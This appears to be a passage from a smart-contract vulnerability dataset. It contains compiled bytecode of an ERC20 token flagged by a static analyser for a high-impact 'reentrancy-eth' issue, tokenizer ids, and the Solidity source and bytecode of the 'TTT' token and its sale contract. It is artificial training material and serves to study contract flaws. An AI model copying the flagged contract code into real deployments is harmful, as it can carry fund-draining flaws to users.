69115159190911790558061068b81611c92565b91505061062e565b5050565b60006106a4338484610b8a565b5060015b92915050565b60006106bb848484610cae565b61070d843361070885604051806060016040528060288152602001611dac602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ea565b610b8a565b5060019392505050565b6000546001600160a01b031633146107415760405162461bcd60e51b815260040161062290611c31565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078c5760405162461bcd60e51b815260040161062290611c31565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107df57506013546001600160a01b0316336001600160a01b0316145b6107e857600080fd5b476107f281611224565b50565b6001600160a01b0381166000908152600260205260408120546106a89061125e565b6000546001600160a01b031633146108415760405162461bcd60e51b815260040161062290611c31565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b55760405162461bcd60e51b815260040161062290611c31565b601655565b6000546001600160a01b031633146108e45760405162461bcd60e51b815260040161062290611c31565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092c5760405162461bcd60e51b815260040161062290611c31565b601855565b6000546001600160a01b0316331461095b5760405162461bcd60e51b815260040161062290611c31565b600893909355600a91909155600955600b55565b60006106a4338484610cae565b6012546001600160a01b0316336001600160a01b031614806109b157506013546001600160a01b0316336001600160a01b0316145b6109ba57600080fd5b60006109c5306107f5565b90506107f2816112e2565b6000546001600160a01b031633146109fa5760405162461bcd60e51b815260040161062290611c31565b60005b82811015610a6b578160056000868685818110610a1c57610a1c611c66565b9050602002016020810190610a319190611ae1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6381611c92565b9150506109fd565b50505050565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b815260040161062290611c31565b601755565b6000546001600160a01b03163314610aca5760405162461bcd60e51b815260040161062290611c31565b6001600160a01b038116610b2f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610622565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bec5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610622565b6001600160a01b038216610c4d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610622565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d125760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610622565b6001600160a01b038216610d745760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610622565b60008111610dd65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610622565b6000546001600160a01b03848116911614801590610e0257506000546001600160a01b03838116911614155b156110e357601554600160a01b900460ff16610e9b576000546001600160a01b03848116911614610e9b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610622565b601654811115610eed5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610622565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2f57506001600160a01b03821660009081526010602052604090205460ff16155b610f875760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610622565b6015546001600160a01b0383811691161461100c5760175481610fa9846107f5565b610fb39190611cad565b1061100c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610622565b6000611017306107f5565b6018546016549192508210159082106110305760165491505b8080156110475750601554600160a81b900460ff16155b801561106157506015546001600160a01b03868116911614155b80156110765750601554600160b01b900460ff165b801561109b57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c057506001600160a01b03841660009081526005602052604090205460ff16155b156110e0576110ce826112e2565b4780156110de576110de47611224565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112557506001600160a01b03831660009081526005602052604090205460ff165b8061115757506015546001600160a01b0385811691161480159061115757506015546001600160a01b03848116911614155b15611164575060006111de565b6015546001600160a01b03858116911614801561118f57506014546001600160a01b03848116911614155b156111a157600854600c55600954600d555b6015546001600160a01b0384811691161480156111cc57506014546001600160a01b03858116911614155b156111de57600a54600c55600b54600d555b610a6b8484848461146b565b6000818484111561120e5760405162461bcd60e51b81526004016106229190611a1f565b50600061121b8486611cc5565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610693573d6000803e3d6000fd5b60006006548211156112c55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610622565b60006112cf611499565b90506112db83826114bc565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132a5761132a611c66565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137e57600080fd5b505afa158015611392573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b69190611cdc565b816001815181106113c9576113c9611c66565b6001600160a01b0392831660209182029290920101526014546113ef9130911684610b8a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611428908590600090869030904290600401611cf9565b600060405180830381600087803b15801561144257600080fd5b505af1158015611456573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611478576114786114fe565b61148384848461152c565b80610a6b57610a6b600e54600c55600f54600d55565b60008060006114a6611623565b90925090506114b582826114bc565b9250505090565b60006112db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611661565b600c5415801561150e5750600d54155b1561151557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153e8761168f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157090876116ec565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159f908661172e565b6001600160a01b0389166000908152600260205260409020556115c18161178d565b6115cb84836117d7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161091815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061163d82826114bc565b8210156116585750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116825760405162461bcd60e51b81526004016106229190611a1f565b50600061121b8486611d6a565b60008060008060008060008060006116ac8a600c54600d546117fb565b92509250925060006116bc611499565b905060008060006116cf8e878787611850565b919e509c509a509598509396509194505050505091939550919395565b60006112db83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ea565b60008061173b8385611cad565b9050838110156112db5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610622565b6000611797611499565b905060006117a583836118a0565b306000908152600260205260409020549091506117c2908261172e565b30600090815260026020526040902055505050565b6006546117e490836116ec565b6006556007546117f4908261172e565b6007555050565b6000808080611815606461180f89896118a0565b906114bc565b90506000611828606461180f8a896118a0565b905060006118408261183a8b866116ec565b906116ec565b9992985090965090945050505050565b600080808061185f88866118a0565b9050600061186d88876118a0565b9050600061187b88886118a0565b9050600061188d8261183a86866116ec565b939b939a50919850919650505050505050565b6000826118af575060006106a8565b60006118bb8385611d8c565b9050826118c88583611d6a565b146112db5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610622565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f257600080fd5b803561195581611935565b919050565b6000602080838503121561196d57600080fd5b823567ffffffffffffffff8082111561198557600080fd5b818501915085601f83011261199957600080fd5b8135818111156119ab576119ab61191f565b8060051b604051601f19603f830116810181811085821117156119d0576119d061191f565b6040529182528482019250838101850191888311156119ee57600080fd5b938501935b82851015611a1357611a048561194a565b845293850193928501926119f3565b98975050505050505050565b600060208083528351808285015260005b81811015611a4c57858101830151858201604001528201611a30565b81811115611a5e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8757600080fd5b8235611a9281611935565b946020939093013593505050565b600080600060608486031215611ab557600080fd5b8335611ac081611935565b92506020840135611ad081611935565b929592945050506040919091013590565b600060208284031215611af357600080fd5b81356112db81611935565b8035801515811461195557600080fd5b600060208284031215611b2057600080fd5b6112db82611afe565b600060208284031215611b3b57600080fd5b5035919050565b60008060008060808587031215611b5857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8957600080fd5b833567ffffffffffffffff80821115611ba157600080fd5b818601915086601f830112611bb557600080fd5b813581811115611bc457600080fd5b8760208260051b8501011115611bd957600080fd5b602092830195509350611bef9186019050611afe565b90509250925092565b60008060408385031215611c0b57600080fd5b8235611c1681611935565b91506020830135611c2681611935565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca657611ca6611c7c565b5060010190565b60008219821115611cc057611cc0611c7c565b500190565b600082821015611cd757611cd7611c7c565b500390565b600060208284031215611cee57600080fd5b81516112db81611935565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d495784516001600160a01b031683529383019391830191600101611d24565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da657611da6611c7c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d642e765d2a6a5a804c6a8cb815ca6e6d4097cd86aed140b7831d10473116ef264736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2549, 4246, 2546, 2683, 16086, 2549, 19797, 22407, 9468, 12740, 2575, 2546, 2575, 2683, 2620, 22394, 2487, 2063, 2575, 16147, 2629, 2050, 26976, 2581, 10322, 22907, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1023, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,770
0x974FfFcc21B9a958Ed62282B95623104d1BDea64
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Whitelist * @dev The Whitelist contract has a whitelist of addresses, and provides basic authorization control functions. * @dev This simplifies the implementation of "user permissions". */ contract Whitelist is Ownable { mapping(address => bool) public whitelist; event WhitelistedAddressAdded(address addr); event WhitelistedAddressRemoved(address addr); /** * @dev Throws if called by any account that's not whitelisted. */ modifier onlyWhitelisted() { require(whitelist[msg.sender]); _; } /** * @dev add an address to the whitelist * @param addr address * @return true if the address was added to the whitelist, false if the address was already in the whitelist */ function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) { if (!whitelist[addr]) { whitelist[addr] = true; emit WhitelistedAddressAdded(addr); success = true; } } /** * @dev add addresses to the whitelist * @param addrs addresses * @return true if at least one address was added to the whitelist, * false if all addresses were already in the whitelist */ function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (addAddressToWhitelist(addrs[i])) { success = true; } } } /** * @dev remove an address from the whitelist * @param addr address * @return true if the address was removed from the whitelist, * false if the address wasn't in the whitelist in the first place */ function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) { if (whitelist[addr]) { whitelist[addr] = false; emit WhitelistedAddressRemoved(addr); success = true; } } /** * @dev remove addresses from the whitelist * @param addrs addresses * @return true if at least one address was removed from the whitelist, * false if all addresses weren't in the whitelist in the first place */ function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (removeAddressFromWhitelist(addrs[i])) { success = true; } } } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract TTTToken is ERC20, Ownable { using SafeMath for uint; string public constant name = "The Tip Token"; string public constant symbol = "TTT"; uint8 public decimals = 18; mapping(address=>uint256) balances; mapping(address=>mapping(address=>uint256)) allowed; // Supply variables uint256 public totalSupply_; uint256 public presaleSupply; uint256 public crowdsaleSupply; uint256 public privatesaleSupply; uint256 public airdropSupply; uint256 public teamSupply; uint256 public ecoSupply; // Vest variables uint256 public firstVestStartsAt; uint256 public secondVestStartsAt; uint256 public firstVestAmount; uint256 public secondVestAmount; uint256 public currentVestedAmount; uint256 public crowdsaleBurnAmount; // Token sale addresses address public privatesaleAddress; address public presaleAddress; address public crowdsaleAddress; address public teamSupplyAddress; address public ecoSupplyAddress; address public crowdsaleAirdropAddress; address public crowdsaleBurnAddress; address public tokenSaleAddress; // Token sale state variables bool public privatesaleFinalized; bool public presaleFinalized; bool public crowdsaleFinalized; event PrivatesaleFinalized(uint tokensRemaining); event PresaleFinalized(uint tokensRemaining); event CrowdsaleFinalized(uint tokensRemaining); event Burn(address indexed burner, uint256 value); event TokensaleAddressSet(address tSeller, address from); modifier onlyTokenSale() { require(msg.sender == tokenSaleAddress); _; } modifier canItoSend() { require(crowdsaleFinalized == true || (crowdsaleFinalized == false && msg.sender == ecoSupplyAddress)); _; } function TTTToken() { // 600 million total supply divided into // 90 million to privatesale address // 120 million to presale address // 180 million to crowdsale address // 90 million to eco supply address // 120 million to team supply address totalSupply_ = 600000000 * 10**uint(decimals); privatesaleSupply = 90000000 * 10**uint(decimals); presaleSupply = 120000000 * 10**uint(decimals); crowdsaleSupply = 180000000 * 10**uint(decimals); ecoSupply = 90000000 * 10**uint(decimals); teamSupply = 120000000 * 10**uint(decimals); firstVestAmount = teamSupply.div(2); secondVestAmount = firstVestAmount; currentVestedAmount = 0; privatesaleAddress = 0xE67EE1935bf160B48BA331074bb743630ee8aAea; presaleAddress = 0x4A41D67748D16aEB12708E88270d342751223870; crowdsaleAddress = 0x2eDf855e5A90DF003a5c1039bEcf4a721C9c3f9b; teamSupplyAddress = 0xc4146EcE2645038fbccf79784a6DcbE3C6586c03; ecoSupplyAddress = 0xdBA99B92a18930dA39d1e4B52177f84a0C27C8eE; crowdsaleAirdropAddress = 0x6BCb947a8e8E895d1258C1b2fc84A5d22632E6Fa; crowdsaleBurnAddress = 0xDF1CAf03FA89AfccdAbDd55bAF5C9C4b9b1ceBaB; addToBalance(privatesaleAddress, privatesaleSupply); addToBalance(presaleAddress, presaleSupply); addToBalance(crowdsaleAddress, crowdsaleSupply); addToBalance(teamSupplyAddress, teamSupply); addToBalance(ecoSupplyAddress, ecoSupply); // 12/01/2018 @ 12:00am (UTC) firstVestStartsAt = 1543622400; // 06/01/2019 @ 12:00am (UTC) secondVestStartsAt = 1559347200; } // Transfer function transfer(address _to, uint256 _amount) public canItoSend returns (bool success) { require(balanceOf(msg.sender) >= _amount); addToBalance(_to, _amount); decrementBalance(msg.sender, _amount); Transfer(msg.sender, _to, _amount); return true; } // Transfer from one address to another function transferFrom(address _from, address _to, uint256 _amount) public canItoSend returns (bool success) { require(allowance(_from, msg.sender) >= _amount); decrementBalance(_from, _amount); addToBalance(_to, _amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); Transfer(_from, _to, _amount); return true; } // Function for token sell contract to call on transfers function transferFromTokenSell(address _to, address _from, uint256 _amount) external onlyTokenSale returns (bool success) { require(_amount > 0); require(_to != 0x0); require(balanceOf(_from) >= _amount); decrementBalance(_from, _amount); addToBalance(_to, _amount); Transfer(_from, _to, _amount); return true; } // Approve another address a certain amount of TTT function approve(address _spender, uint256 _value) public returns (bool success) { require((_value == 0) || (allowance(msg.sender, _spender) == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } // Get an address's TTT allowance function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } // Get TTT balance of an address function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } // Return total supply function totalSupply() public view returns (uint256 totalSupply) { return totalSupply_; } // Set the tokenSell contract address, can only be set once function setTokenSaleAddress(address _tokenSaleAddress) external onlyOwner { require(tokenSaleAddress == 0x0); tokenSaleAddress = _tokenSaleAddress; TokensaleAddressSet(tokenSaleAddress, msg.sender); } // Finalize private. If there are leftover TTT, overflow to presale function finalizePrivatesale() external onlyTokenSale returns (bool success) { require(privatesaleFinalized == false); uint256 amount = balanceOf(privatesaleAddress); if (amount != 0) { addToBalance(presaleAddress, amount); decrementBalance(privatesaleAddress, amount); } privatesaleFinalized = true; PrivatesaleFinalized(amount); return true; } // Finalize presale. If there are leftover TTT, overflow to crowdsale function finalizePresale() external onlyTokenSale returns (bool success) { require(presaleFinalized == false && privatesaleFinalized == true); uint256 amount = balanceOf(presaleAddress); if (amount != 0) { addToBalance(crowdsaleAddress, amount); decrementBalance(presaleAddress, amount); } presaleFinalized = true; PresaleFinalized(amount); return true; } // Finalize crowdsale. If there are leftover TTT, add 10% to airdrop, 20% to ecosupply, burn 70% at a later date function finalizeCrowdsale(uint256 _burnAmount, uint256 _ecoAmount, uint256 _airdropAmount) external onlyTokenSale returns(bool success) { require(presaleFinalized == true && crowdsaleFinalized == false); uint256 amount = balanceOf(crowdsaleAddress); assert((_burnAmount.add(_ecoAmount).add(_airdropAmount)) == amount); if (amount > 0) { crowdsaleBurnAmount = _burnAmount; addToBalance(ecoSupplyAddress, _ecoAmount); addToBalance(crowdsaleBurnAddress, crowdsaleBurnAmount); addToBalance(crowdsaleAirdropAddress, _airdropAmount); decrementBalance(crowdsaleAddress, amount); assert(balanceOf(crowdsaleAddress) == 0); } crowdsaleFinalized = true; CrowdsaleFinalized(amount); return true; } /** * @dev Burns a specific amount of tokens. * added onlyOwner, as this will only happen from owner, if there are crowdsale leftovers * @param _value The amount of token to be burned. * @dev imported from https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/token/ERC20/BurnableToken.sol */ function burn(uint256 _value) public onlyOwner { require(_value <= balances[msg.sender]); require(crowdsaleFinalized == true); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } // Transfer tokens from the vested address. 50% available 12/01/2018, the rest available 06/01/2019 function transferFromVest(uint256 _amount) public onlyOwner { require(block.timestamp > firstVestStartsAt); require(crowdsaleFinalized == true); require(_amount > 0); if(block.timestamp > secondVestStartsAt) { // all tokens available for vest withdrawl require(_amount <= teamSupply); require(_amount <= balanceOf(teamSupplyAddress)); } else { // only first vest available require(_amount <= (firstVestAmount - currentVestedAmount)); require(_amount <= balanceOf(teamSupplyAddress)); } currentVestedAmount = currentVestedAmount.add(_amount); addToBalance(msg.sender, _amount); decrementBalance(teamSupplyAddress, _amount); Transfer(teamSupplyAddress, msg.sender, _amount); } // Add to balance function addToBalance(address _address, uint _amount) internal { balances[_address] = balances[_address].add(_amount); } // Remove from balance function decrementBalance(address _address, uint _amount) internal { balances[_address] = balances[_address].sub(_amount); } } contract TTTTokenSell is Whitelist, Pausable { using SafeMath for uint; uint public decimals = 18; // TTTToken contract address address public tokenAddress; address public wallet; // Wallets for each phase - hardcap of each is balanceOf address public privatesaleAddress; address public presaleAddress; address public crowdsaleAddress; // Amount of wei currently raised uint256 public weiRaised; // Variables for phase start/end uint256 public startsAt; uint256 public endsAt; // minimum and maximum uint256 public ethMin; uint256 public ethMax; enum CurrentPhase { Privatesale, Presale, Crowdsale, None } CurrentPhase public currentPhase; uint public currentPhaseRate; address public currentPhaseAddress; TTTToken public token; event AmountRaised(address beneficiary, uint amountRaised); event TokenPurchased(address indexed purchaser, uint256 value, uint256 wieAmount); event TokenPhaseStarted(CurrentPhase phase, uint256 startsAt, uint256 endsAt); event TokenPhaseEnded(CurrentPhase phase); modifier tokenPhaseIsActive() { assert(now >= startsAt && now <= endsAt); _; } function TTTTokenSell() { wallet = 0xE6CB27F5fA75e0B75422c9B8A8da8697C9631cC6; privatesaleAddress = 0xE67EE1935bf160B48BA331074bb743630ee8aAea; presaleAddress = 0x4A41D67748D16aEB12708E88270d342751223870; crowdsaleAddress = 0x2eDf855e5A90DF003a5c1039bEcf4a721C9c3f9b; currentPhase = CurrentPhase.None; currentPhaseAddress = privatesaleAddress; startsAt = 0; endsAt = 0; ethMin = 0; ethMax = numToWei(1000, decimals); } function setTokenAddress(address _tokenAddress) external onlyOwner { require(tokenAddress == 0x0); tokenAddress = _tokenAddress; token = TTTToken(tokenAddress); } function startPhase(uint _phase, uint _currentPhaseRate, uint256 _startsAt, uint256 _endsAt) external onlyOwner { require(_phase >= 0 && _phase <= 2); require(_startsAt > endsAt && _endsAt > _startsAt); require(_currentPhaseRate > 0); currentPhase = CurrentPhase(_phase); currentPhaseAddress = getPhaseAddress(); assert(currentPhaseAddress != 0x0); currentPhaseRate = _currentPhaseRate; if(currentPhase == CurrentPhase.Privatesale) ethMin = numToWei(10, decimals); else { ethMin = 0; ethMax = numToWei(15, decimals); } startsAt = _startsAt; endsAt = _endsAt; TokenPhaseStarted(currentPhase, startsAt, endsAt); } function buyTokens(address _to) tokenPhaseIsActive whenNotPaused payable { require(whitelist[_to]); require(msg.value >= ethMin && msg.value <= ethMax); require(_to != 0x0); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(currentPhaseRate); // 100% bonus for privatesale if(currentPhase == CurrentPhase.Privatesale) tokens = tokens.add(tokens); weiRaised = weiRaised.add(weiAmount); wallet.transfer(weiAmount); if(!token.transferFromTokenSell(_to, currentPhaseAddress, tokens)) revert(); TokenPurchased(_to, tokens, weiAmount); } // To contribute, send a value transaction to the token sell Address. // Please include at least 100 000 gas. function () payable { buyTokens(msg.sender); } function finalizePhase() external onlyOwner { if(currentPhase == CurrentPhase.Privatesale) token.finalizePrivatesale(); else if(currentPhase == CurrentPhase.Presale) token.finalizePresale(); endsAt = block.timestamp; currentPhase = CurrentPhase.None; TokenPhaseEnded(currentPhase); } function finalizeIto(uint256 _burnAmount, uint256 _ecoAmount, uint256 _airdropAmount) external onlyOwner { token.finalizeCrowdsale(numToWei(_burnAmount, decimals), numToWei(_ecoAmount, decimals), numToWei(_airdropAmount, decimals)); endsAt = block.timestamp; currentPhase = CurrentPhase.None; TokenPhaseEnded(currentPhase); } function getPhaseAddress() internal view returns (address phase) { if(currentPhase == CurrentPhase.Privatesale) return privatesaleAddress; else if(currentPhase == CurrentPhase.Presale) return presaleAddress; else if(currentPhase == CurrentPhase.Crowdsale) return crowdsaleAddress; return 0x0; } function numToWei(uint256 _num, uint _decimals) internal pure returns (uint256 w) { return _num.mul(10**_decimals); } }
0x608060405260043610610180576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063055ad42e1461018b5780630a09284a146101c4578063122fe685146101ef57806324953eaa14610246578063265ffe2b146102c457806326a4e8d2146102ef578063286dd3f5146103325780632eb0111c1461038d578063301a9b09146103e4578063313ce5671461042f57806331d2f8911461045a5780633f4ba83a146104b15780634042b66f146104c857806348989182146104f3578063521eb2731461051e5780635536deb6146105755780635c975abb1461058c5780637b9417c8146105bb5780638456cb59146106165780638da5cb5b1461062d5780639b19251a146106845780639d76ea58146106df578063a757ac4b14610736578063af4686821461078d578063cc326e1c146107b8578063d8c3c1ed146107e3578063e2ec6ec314610824578063ec8ac4d8146108a2578063f2fde38b146108d8578063fc0c546a1461091b575b61018933610972565b005b34801561019757600080fd5b506101a0610ce8565b604051808260038111156101b057fe5b60ff16815260200191505060405180910390f35b3480156101d057600080fd5b506101d9610cfb565b6040518082815260200191505060405180910390f35b3480156101fb57600080fd5b50610204610d01565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561025257600080fd5b506102aa60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610d27565b604051808215151515815260200191505060405180910390f35b3480156102d057600080fd5b506102d9610dd0565b6040518082815260200191505060405180910390f35b3480156102fb57600080fd5b50610330600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dd6565b005b34801561033e57600080fd5b50610373600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f1f565b604051808215151515815260200191505060405180910390f35b34801561039957600080fd5b506103a2611093565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103f057600080fd5b5061042d600480360381019080803590602001909291908035906020019092919080359060200190929190803590602001909291905050506110b9565b005b34801561043b57600080fd5b506104446112fb565b6040518082815260200191505060405180910390f35b34801561046657600080fd5b5061046f611301565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104bd57600080fd5b506104c6611327565b005b3480156104d457600080fd5b506104dd6113e6565b6040518082815260200191505060405180910390f35b3480156104ff57600080fd5b506105086113ec565b6040518082815260200191505060405180910390f35b34801561052a57600080fd